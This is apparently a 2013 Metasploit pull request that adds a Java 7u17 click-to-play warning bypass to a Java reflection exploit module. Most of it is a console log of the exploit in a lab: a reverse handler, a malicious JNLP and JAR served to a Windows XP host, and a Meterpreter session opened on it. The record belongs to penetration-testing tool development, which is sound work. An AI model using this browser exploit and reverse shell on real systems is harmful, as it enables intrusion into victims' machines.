rapid7/metasploit-framework — pull request #1766 by jvazquez-r7 (2013-04-25 15:31:11+00:00)
Title: Java7u17 click2play bypass

Add the click2play bypass published at http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html . Used on IE where the ActvX can be used to launch Java Web Start automatically. On other browser dont't use it atm because Java Web Start should be configured to hanld jnlp files, which I guess isn't the usual.

```
msf exploit(java_jre17_reflection_types) > rexploit
[*] Stopping existing job...

[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.172.1:4444
[*] Using URL: http://192.168.172.1:8080/MdeJSHVHgNsW7Qy
[*] Server started.
msf exploit(java_jre17_reflection_types) > [*] 192.168.172.175 java_jre17_reflection_types - handling request for /MdeJSHVHgNsW7Qy
[*] 192.168.172.175 java_jre17_reflection_types - handling request for /MdeJSHVHgNsW7Qy/
[*] 192.168.172.175 java_jre17_reflection_types - handling request for /MdeJSHVHgNsW7Qy/lETUeKyZ.jnlp
[*] 192.168.172.175 java_jre17_reflection_types - handling request for /MdeJSHVHgNsW7Qy/AnkUEJvE.jar
[*] Sending stage (30246 bytes) to 192.168.172.175
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.175:1314) at 2013-04-25 10:27:52 -0500

msf exploit(java_jre17_reflection_types) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : juan-c0de875735
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.175 - Meterpreter session 1 closed. Reason: User exit

```